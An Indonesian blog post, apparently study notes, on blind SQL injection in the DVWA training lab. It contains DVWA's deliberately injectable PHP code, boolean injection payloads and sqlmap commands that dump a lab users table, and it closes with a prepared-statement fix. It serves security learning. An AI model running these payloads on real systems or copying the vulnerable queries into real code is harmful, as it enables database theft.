DVWA Series: SQL Injection (BLIND)

⏱️5 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu Blind SQL Injection?

Blind SQL Injection adalah salah satu teknik eksploitasi database yang berbeda dengan SQL injection biasa, di mana pada SQL Injection biasa akan mengeluarkan sebuah value, akan tetapi pada blind SQL injection tidak akan mengeluarkan value apa pun. Untuk mengetahui value tersebut kita harus melakukan trial and error untuk menguji benar atau salahnyanya value tersebut.

Security Level: Low

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Information Gathering

Setelah dicoba-coba (trial and error). akhirnya dapat kesimpulan bahwa pada level ini tidak ada validasi apa pun untuk pada inputan yang digunakan untuk menjalankan query. Ketika kita menginputkan 1 (true), maka akan tampil seperti berikut: 1

Jika saya coba membuatnya error (false), maka akan tampil seperti berikut: 2

Ketika saya mencoba menyisipkan payload seperti berikut(sama pada sql injection sebelumnay), maka hasilnya akan true. Ini berarti form tersebut memiliki celah Blind SQL Injection.

3

Launch Attack

Untuk lebih mudah saya menggunakan SQLMap

sqlmap -r teq.txt --dbs

atau

sqlmap -u "192.168.1.6/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" --dbs

4

Selanjutnya silahkan menggunakan perintah yang sama pada swl injection biasa

Security Level: Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

Information Gathering

Pada level ini menggunakan methot POST sehingga kita perlu tools bernama burpsuite. 5

Kita coba buat error 6

Dan ketika saya menggunakan payload berikut, maka hasilnya akan true:

1 or 1 = 1

7

Sehingga dapat disimpulkan terdapat celah Blind SQL Injection.

Launch Attack

Menggunakan SQLMap

sqlmap -r req.txt -D dvwa -T users --dump

atau jika ingin lebih cepat

sqlmap -r req.txt -D dvwa -T users --dump --threads 2

8

Security Level: High

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Information gathering

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman cookie-input.php (lalu nilanya dijadikan cookie) dan hasilnya akan ditampilkan di halaman index.php. 9 kita buat error(false) 10

Setelah mengetahui pesan jika melakukan kesalahan, selanjutnya saya mencoba menggunakan payload berikut untuk melihat apakah hasilnya bernilai true atau false:

1 or 1 = 1#

11


Sampai sekarang saya masih belum menemukan cara menyelesaikan challenge level High. Jika suda mendapatkan solusi saya akan update.

Cara mengatasi

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Caranya sama seperti sql injection biasa.